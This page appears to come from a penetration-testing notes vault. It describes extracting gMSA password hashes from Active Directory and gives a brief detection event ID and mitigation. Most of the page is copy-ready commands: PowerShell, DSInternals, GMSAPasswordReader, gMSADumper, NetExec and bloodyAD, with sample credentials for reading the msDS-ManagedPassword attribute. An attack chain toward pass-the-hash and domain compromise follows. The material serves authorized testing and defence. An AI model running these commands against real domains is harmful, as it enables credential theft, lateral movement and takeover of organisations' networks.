--- title: "Attack #73 β€” gMSA Password Extraction" description: "Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the msDS-ManagedPassword attribute. Principals…" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "credential-access", "ntlm", "privilege-escalation", "hashing"] tools: ["NetExec", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/πŸ”· Attack #73 β€” gMSA Password Extraction.md" --- # πŸ”· Attack #73 β€” gMSA Password Extraction *** ## πŸ“– How It Works Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the `msDS-ManagedPassword` attribute. Principals authorized to retrieve this password (defined in `msDS-GroupMSAMembership`) can extract the NTLM hash of the gMSA. If a gMSA has privileged access (e.g., DA-equivalent or DCSync rights), extracting its hash = domain compromise. *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **Authorized to retrieve gMSA password** | Listed in `msDS-GroupMSAMembership` | | **Or compromise of an authorized server** | Servers hosting services running as gMSA | *** ## πŸ’» Full Commands ```powershell # ── Find gMSAs ──────────────────────────────────────────────────────────────── Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword # ── Check who can read gMSA password ────────────────────────────────────────── Get-ADServiceAccount svc_gmsa -Properties PrincipalsAllowedToRetrieveManagedPassword | Select PrincipalsAllowedToRetrieveManagedPassword # ── Read gMSA password (if authorized) ──────────────────────────────────────── # DSInternals: Install-Module DSInternals -Force $gmsa = Get-ADServiceAccount svc_gmsa -Properties msDS-ManagedPassword (ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword').SecureCurrentPassword # ── GMSAPasswordReader (tool) ───────────────────────────────────────────────── .\GMSAPasswordReader.exe --AccountName svc_gmsa ``` ```bash # ── gMSADumper (Linux) ──────────────────────────────────────────────────────── python3 gMSADumper.py -u low_user -p 'Password1' -d corp.local -l DC01.corp.local # ── NetExec ─────────────────────────────────────────────────────────────────── nxc ldap DC01.corp.local -u low_user -p 'Password1' --gmsa # ── bloodyAD ────────────────────────────────────────────────────────────────── bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ get object 'svc_gmsa$' --attr msDS-ManagedPassword ``` *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **4662** | Security Log (DC) | Read access to `msDS-ManagedPassword` attribute | *** ## πŸ”— Attack Chain Context ``` [gMSA] ──→ Extract managed password hash β†’ impersonate service account β”‚ β”œβ”€β”€β†’ πŸ”‘ gMSA may have DA-equivalent rights or DCSync permissions β”œβ”€β”€β†’ πŸ”— PtH with gMSA hash β†’ lateral movement / privilege escalation └──→ πŸ’€ Defeated by: restrict gMSA password retrieval delegation ``` *** > βœ… **Attack #73 β€” gMSA Password Extraction complete.**